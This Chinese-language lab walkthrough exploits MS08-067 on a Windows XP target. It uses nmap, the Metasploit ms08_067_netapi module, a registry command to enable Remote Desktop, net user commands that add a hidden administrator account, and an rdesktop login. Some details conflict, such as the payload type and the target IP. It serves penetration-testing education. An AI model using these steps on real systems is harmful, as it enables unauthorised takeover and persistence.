目录
[4、search ms08-067](#4、search ms08-067)
本文详细介绍了MS08-067高危漏洞(CVE-2008-4250)的渗透测试过程。该漏洞影响Windows XP/Server 2003等系统,通过445端口实现远程代码执行。实验搭建了Kali攻击机(192.168.59.141)和Windows XP靶机(192.168.59.147)的环境,使用nmap扫描确认漏洞存在后,通过Metasploit的ms08_067_netapi模块成功利用漏洞,创建管理员账户并开启3389远程桌面,最终通过rdesktop实现图形化控制。整个过程展示了从漏洞探测到完全控制目标系统的完整攻击链。
| 环境 | IP地址 | 状态与用途 |
|---|---|---|
| 攻击机(Kali) | 192.168.59.141 | 作为攻击起点,向靶机发送恶意载荷,并接收Meterpreter反向连接 |
| 靶机(Windows XP) | 192.168.59.147 | 已被攻陷,开放4444端口与攻击机保持连接,等待接收远程指令 |
一、ms08-067
1、漏洞简介
MS08-067(CVE-2008-4250)是 2008 年披露的 Windows 高危远程代码执行漏洞,因 Server 服务处理 RPC 请求时存在边界校验缺陷,触发栈缓冲区溢出。攻击者可通过 445 端口,无需认证发送恶意请求,获取系统最高权限并执行任意命令。该漏洞影响 Windows 2000、XP、Server 2003 等多个系统,曾被 Conficker 蠕虫大规模利用,需安装 KB958644 补丁或关闭 445 端口防护。
| 项目 | 详细信息 |
|---|---|
| 微软官方公告 | MS08-067 |
| CVE 编号 | CVE-2008-4250 |
| 漏洞名称 | 服务器服务中的漏洞可能允许远程执行代码 |
| 漏洞类型 | 远程代码执行 |
| 技术原理 | 栈缓冲区溢出 |
| 受影响组件 | Windows 服务器服务 |
| 关键端口 | TCP 445 (SMB) |
| 攻击前提 | 无需身份验证 |
| 危害等级 | 严重 |
2、影响范围
MS08-067 漏洞影响的详细操作系统列表,主要影响的是在2008年时占据主流的Windows版本,其影响范围非常广泛。
| 操作系统 | 受影响版本 |
|---|---|
| Windows 2000 | Professional, Server, Advanced Server |
| Windows XP | Professional, Home Edition (SP2/SP3) |
| Windows Server 2003 | Standard, Enterprise, Datacenter, Web Edition (32位/64位) |
| Windows Vista | All Versions (包括SP1) |
| Windows Server 2008 | All Versions (包括Server Core 安装选项) |
二、环境搭建
1、拓扑环境
本文搭建的ms08-067漏洞的模拟攻击环境,由攻击机Kali Linux和目标靶机Windows XP构成。两台主机均部署于192.168.59.0/24虚拟子网,具体如下所示。
| 拓扑元素 | 详细信息 | 说明 |
|---|---|---|
| 网络类型 | 局域网 | 模拟企业内网环境,攻击机与靶机处于同一网段。 |
| 网段 | 192.168.59.0/24 |
攻击发生的基础网络环境。 |
| 攻击机 | Kali Linux | 渗透测试平台,集成了MSF等攻击工具。 |
| 攻击机 IP | 192.168.59.141 | 攻击流量的源地址。 |
| 目标靶机 | Windows XP | 存在MS08-067漏洞的系统。 |
| 目标 IP | 192.168.59.147 | 攻击流量的目标地址。 |
| 攻击方向 | 192.168.59.141 --> 192.168.59.147 |
攻击从Kali发起,指向WinXP靶机。 |
| 关键端口 | TCP 445 | MS08-067漏洞的利用入口,SMB服务端口。 |
| 利用漏洞 | MS08-067 (CVE-2008-4250) | 服务器服务中的远程代码执行漏洞。 |

2、关闭靶机防火墙

3、关闭靶机自动更新
Windows系统不可以安装更新,需要手动关闭自动更新,否则这个漏洞可能被修复了,查看是否安装更新可以查看控制面板-程序(卸载)查看已经安装更新,如果实验失败了,看一下是否已经安装更新(如下图所示)。

三、渗透实战
1、nmap探测端口
使用nmap命令**直接对IP地址为192.168.59.147的主机进行端口扫描和版本探测,**如下所示。
nmap -sV -Pn 192.168.59.147
-
nmap: 强大的网络扫描和安全审计工具。 -
-sV(版本探测): 此参数让Nmap不仅探测端口是否开放,还尝试确定端口上运行的服务及其具体版本号。这是信息收集的关键一步。 -
-Pn(无主机发现): 此参数告诉Nmap跳过主机发现阶段,直接将所有指定目标视为"存活"状态并进行扫描。这在以下情况非常有用:-
目标主机配置为不响应Ping请求(如某些Windows防火墙设置)。
-
确保扫描能穿透某些过滤了ICMP包的网络设备。
-
-
192.168.59.147: 指定的目标,即Win7靶机的IP地址。
本次Nmap扫描结果显示,目标主机192.168.59.147存活且开放了135、139和445三个TCP端口,其中445端口运行着Windows SMB服务,这为MS08-067漏洞利用提供了直接攻击入口。服务识别出操作系统为Windows XP,该扫描成功突破了可能存在的ICMP屏蔽,证实目标完全暴露在MS08-067攻击威胁下,可立即进行漏洞利用。

2、nmap探测漏洞
nmap --script=vuln 192.168.59.147
--script=vuln: 这是命令的核心。它调用Nmap的脚本引擎,运行所有与漏洞相关的脚本。这些脚本会检查目标服务是否存在已知的、特定的安全漏洞。
- 命令目的 : 这条命令不再是简单的端口和服务发现,而是主动进行漏洞评估,直接询问"目标是否存在我已知的严重漏洞?"

此次Nmap漏洞扫描取得决定性成果,确认目标192.168.59.147存在两个高危漏洞。系统被确认为Windows XP,不仅暴露了预期的MS08-067远程代码执行漏洞(CVE-2008-4250),更检测出危害更大的"永恒之蓝"漏洞MS17-010。这两个漏洞均允许攻击者通过445端口完全控制系统,使目标处于极度危险境地。
nmap --script=vuln 192.168.59.147
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-08 02:26 CST
Nmap scan report for 192.168.59.147
Host is up (0.0026s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
Nmap done: 1 IP address (1 host up) scanned in 39.70 seconds
3、msfconsole
在Kali Linux中打开终端,输入msfconsole命令启动Metasploit框架。这个集成化渗透平台将为我们提供完整的攻击链支持,等待控制台加载完成后,我们将进入一个功能强大的命令行环境,这里集成了数百个漏洞利用模块、载荷和辅助工具,为后续渗透测试奠定基础。

4、search ms08-067
使用search ms08-067是在框架中搜索ms08-067漏洞利用模块,该命令会扫描包括漏洞利用、辅助扫描和载荷在内的所有模块,返回包含指定关键词的完整列表及路径。这能帮助渗透测试者迅速定位正确的攻击模块,是高效利用框架进行安全评估的关键第一步。

5、ms08_067_netapi模块
在msf提示符下输入use exploit/windows/smb/ms08_067_netapi,选择针对MS08-067漏洞的专用攻击模块。这个经过精心设计的模块会通过目标系统445端口发送精心构造的RPC请求,利用服务器服务中的路径规范化漏洞触发缓冲区溢出,为远程代码执行创造必要条件。

6、MSF配置
在Metasploit框架中完成了对MS08-067漏洞利用模块的关键参数配置,命令如下所示。
set rhost 192.168.59.147
set lhost 192.168.59.141
set target 0
set rport 445
set payload generic/shell_bind_tcp
其中set rhost 192.168.59.147指定了目标靶机IP地址,set lhost 192.168.59.141设置了接收回连的攻击机IP。set target 0选择了适用于Windows XP SP3的默认攻击目标模板,set rport 445确保攻击指向SMB服务的标准端口。特别值得注意的是set payload generic/shell_bind_tcp选择了一个在目标端绑定端口的载荷类型,这与常见的反向连接载荷不同,它会在漏洞利用成功后直接在目标系统上开启一个TCP监听端口等待连接。

7、确认配置无误
输入show options确认配置是否一致,如下所示配置正确。

8、执行攻击
执行run或者exploit命令开启攻击,如下所示渗透成功。

8、查看网络监听端口
执行netstat -ano命令显示本机所有活跃的网络连接和监听端口,并用数字形式和进程PID来呈现。 netstat 是一个用于显示网络连接、路由表、接口统计等网络相关信息的命令行工具。参数 -ano 是三个独立选项的组合,它们极大地增强了命令的输出信息:
-
-a:显示所有连接和监听端口。如果没有这个选项,默认只显示已建立的连接,而不会显示正在等待连接的"监听"端口。 -
-n:以数字形式 显示地址和端口号。它不 会将 IP 地址反向解析为主机名,也不会将端口号(如3389)转换为服务名(如ms-wbt-server)。这使输出更快速、更原始,对于判断特定端口号至关重要。 -
-o:显示与每个连接相关的进程 PID。这是非常关键的信息,可以让你知道是哪个程序或服务在使用该网络端口。
根据netstat -ano命令输出分析,该系统存在异常网络活动,最显著的特征是TCP 4444端口上存在一个已建立的远程连接。该端口由PID 1136的进程占用,正与IP地址192.168.59.141的34337端口保持ESTABLISHED连接状态,这种高端口与高端口的通信模式非常符合Meterpreter等后门程序的典型特征,表明系统已被渗透。同时,系统核心服务端口135、139、445均处于监听状态,证实了SMB服务开放的事实,这与之前发现的MS08-067漏洞相吻合。UDP端口137-138的开放进一步验证了NetBIOS服务的运行。输出中未见3389端口的监听记录,说明远程桌面服务未启。

9、开启远程桌面
通过修改注册表来强制开启 Windows 远程桌面服务的自动化操作,命令如下所示。
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
- 核心命令解析:
reg add命令用于修改注册表,其操作目标是HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server这个控制终端服务的关键路径。参数/v fDenyTSConnections指定要修改的键值名称,这个键值专门控制是否拒绝远程桌面连接。通过/t REG_DWORD /d 00000000将其数据设置为0,表示"允许连接",并使用/f参数强制执行无需确认。 - 自动化实现方式: 命令首先使用
echo将完整的注册表修改命令输出重定向到系统目录下的3389.bat批处理文件中,然后立即通过call执行这个批处理文件。这种先将命令写入脚本再执行的方式,常见于需要绕过某些命令行限制或实现复杂操作序列的场景。

10、再次查看网络监听端口
执行成功开启远程桌面的命令后,系统会立即开放3389端口的远程桌面服务,使攻击者能够通过图形化界面直接登录和控制目标服务器。接下来再次执行netstat -ano命令,如下所示此时目标机器开启了3389远程服务端口。

11、创建管理员账户
我们通过先创建普通用户,再将其加入管理员组来新疆管理员账户,具体命令如下所示。
net user 用户名 密码 /add
net localgroup administrators 用户名 /add
使用net user 用户名 密码 /add创建一个新的本地用户账户。其中"用户名"指定账户名称,"密码"设置登录密码,/add参数表示执行添加操作。该命令仅创建普通用户,权限有限。使用net localgroup administrators 用户名 /add将指定用户提升为管理员权限的命令。它将用户添加到系统的"administrators"本地组中,使其获得完全的系统控制权,包括安装软件、修改系统设置、管理其他用户等高级权限。

此时登录靶机,点击控制面板,用户管理,发现已创建成功相关账户。

12、远程桌面登录
kali上新开终端窗口输入如下命令,对目标机器进行远程桌面连接。
rdesktop 192.168.163.147
输入刚才创建的账户和密码,如下图所示。

如下所示,登陆后会导致其他用户断开连接。

点击开始菜单,如下所示登陆账号为刚刚创建的账户。
